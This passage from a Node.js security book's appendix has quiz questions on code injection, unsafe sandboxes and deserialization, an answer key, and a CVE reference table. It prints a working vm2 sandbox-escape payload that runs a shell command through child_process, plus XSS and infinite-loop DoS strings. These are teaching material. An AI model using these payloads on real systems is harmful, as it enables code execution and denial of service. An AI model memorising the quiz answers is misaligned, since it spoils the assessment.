d. ECMAScript modules may be exploited due to path traversal vulnerabilities when using import
with URL-encoded relative paths such as import('%2e%2e/utils/utils.mjs')

37. The vm module in Node.js is a secure way to execute untrusted code in a sandboxed
environment using its core API vm.createContext() and vm.runInContext().

a. True

b. False

38. The following are best practices to prevent code injection vulnerabilities in Node.js:

a. Run untrusted code in new Function()

b. Run untrusted code in a sandboxed environment using the vm module

c. Run untrusted code using safe-eval or vm2 third-party modules that provide a secure
sandboxed environment

d. Run untrusted code in dedicated Node.js worker threads

e. None of the above

39. Running untrusted JavaScript code using child processes or worker threads in Node.js is a
secure way to provide an isolated and secure sandbox environment for code execution.

a. True

b. False

Chapter 8. Appendix | 119


40. The following code is an effective way to mitigate code injection vulnerabilities from
untrusted user input in Node.js:

runInContext (code) {
if (typeof code !== 'string') {
throw new TypeError('not a string')
}
return vm.runInContext(
'(function () {"use strict"; return ' + code + '})()',
this._context,
this._options
)
}

a. True

b. False

41. Given the following untrusted code executed in a secure Node.js environment using the vm2
module:

const { VM } = require("vm2");
const vm = new VM();
const untrustedUserInput = `
const err = new Error();
err.name = {
toString: new Proxy(() => {}, {
apply(target, thisArgs, argsArray) {
const process = argsArray.constructor.constructor("return
process")();
throw process.mainModule.require("child_process").execSync("touch
hacked2").toString();
},
}),
};

try {
err.stack;
} catch (stdout) {
stdout;
}
`;

vm.run(untrustedUserInput);

120 | Chapter 8. Appendix


a. What is the potential security risk?

b. Can you identify the attack vector in the above code and explain how it works?

42. When deserializing data from an untrusted source in JavaScript, what is the primary security
concern related to code injection?

a. Data loss due to incompatible serialization formats

b. Potential execution of malicious code embedded in the data

c. Increased processing time for deserialization

d. Difficulty in debugging deserialization errors

43. When serializing code, the serialized text can be a source of code injection vulnerabilities in
Node.js applications.

a. True

b. False

44. Serializing and deserializing data in Node.js applications can be a source of code injection
vulnerabilities because of the potential execution of malicious code embedded in the data.

a. True

b. False

45. Disabling immediately invoked function expressions (IIFE) in Node.js applications is helpful to
mitigate code injection vulnerabilities.

a. True

b. False

46. The following is a secure way to deserialize untrusted data in Node.js:

function deserialize (str) {


return (new Function("'use strict'; return " + str))()
}

a. True

b. False

Chapter 8. Appendix | 121


47. The following Node.js snippet is not vulnerable to Denial of Service (DoS) attacks because the
deserializtion function uses new Function() and is not effectively running the code, only
returning the anonymous function:

const serializeToJs = require('serialize-to-js')


const str = 'function(){while(true){}}()'
const res = serializeToJs.deserialize(str)

a. True

b. False

48. Given the following code snippet of serializing data in a JavaScript application, what is the
potential security risk?

const serialize = require("serialize-to-js");


let payload, serialized;
payload = /[</script><script>alert('xss')</script>//]/;
serialized = serialize.serialize(payload);

const userConfig = serialized;

a. Code injection

b. Cross-site scripting (XSS)

c. SQL injection

d. Command injection

122 | Chapter 8. Appendix


49. Given the following code snippet of a JavaScript server-side endpoint:

const express = require("express");


const { renderFile } = require("eta");

const app = express();


app.use(express.json());
app.engine("eta", renderFile);
app.set("view engine", "eta");

app.set("views", "./views");

app.get("/", function (req, res) {


const name = req.query.name;
res.render("index.eta", { name });
});

app.post("/user/profile", function (req, res) {


const userData = req.body;
res.render("index.eta", userData);
});

a. Does this code snippet have any code injection vulnerabilities?

b. If so, what are they? and what security controls can you apply to prevent code injection
vulnerabilities in the above code?

50. Hard coding 'use strict' in an eval() scope is essential to mitigating code injection
vulnerabilities, for example: const res = "function() { 'use strict'; eval(" +
userCode + "); }"

a. Yes

b. No

c. Yes, but only when this is executed inside Node.js vm module

d. Yes, but only when this code pattern is used within a function() { } block

8.1.1. Answers

The correct answers are as follows:

1. a)

2. d)

Chapter 8. Appendix | 123


3. e)

4. a)

5. a)

6. d)

7. c)

8. d)

9. fill in the blank:

a. 'user input'

b. 'code'

c. 'dynamically evaluated'

10. b)

11. a) and b)

12. b)

13. b)

14. Skipped open question for code

15. Skipped open question for code

16. g)

17. b)

18. a) and b)

19. d)

20. Skipped open question for code

21. a)

22. d)

23. e)

24. b)

25. b)

26. b)

27. b)

28. b)

29. b)

30. Skipped open question for code

31. Skipped open question for code

32. b)

124 | Chapter 8. Appendix


33. b), c)

34. a)

35. a)

36. a), b), and d)

37. b)

38. e)

39. b)

40. a)

41. Skipped open question for code

42. b)

43. a)

44. a)

45. b)

46. b)

47. b)

48. b)

49. Skipped open question for code

50. b)

Chapter 8. Appendix | 125


8.2. CVEs in This Book
The following is a reference list of all the CVEs mentioned in this book. The CVEs are listed in the order
they are mentioned in the book:

CVE Library Year disclosed Vulnerable range

CVE-2022-25760 accesslog 2021 All versions

CVE-2021-23390 total4 2021 <0.0.43

CVE-2020-28502 xmlhttprequest 2021 <1.7.0

CVE-2023-26122 safe-eval 2023 All versions

CVE-2023-26121 safe-eval 2023 All versions

CVE-2019-10760 safer-eval 2019 <1.3.2

CVE-2019-10759 safer-eval 2019 <1.3.4

CVE-2019-10769 safer-eval 2019 All versions

CVE-2023-32314 vm2 2023 <3.9.18

CVE-2023-2583 jsreport 2023 <3.11.3

CVE-2017-5954 serialize-to-js 2017 <1.0.0

CVE-2019-16772 serialize-to-js 2019 <3.0.1

CVE-2022-25967 eta 2022 <2.0.0

CVE-2021-44832 apache2-log4j2 2021 <2.17.1-1

CVE-2022-22954 VMware Workspace ONE Access and Identity Manager 2022 n/a

CVE-2020-7677 thenify 2020 <3.3.1

CVE-2022-39266 isoalted-vm 2022 <4.3.7

CVE-2021-21413 isoalted-vm 2021 <4.0.0

126 | Chapter 8. Appendix

You might also like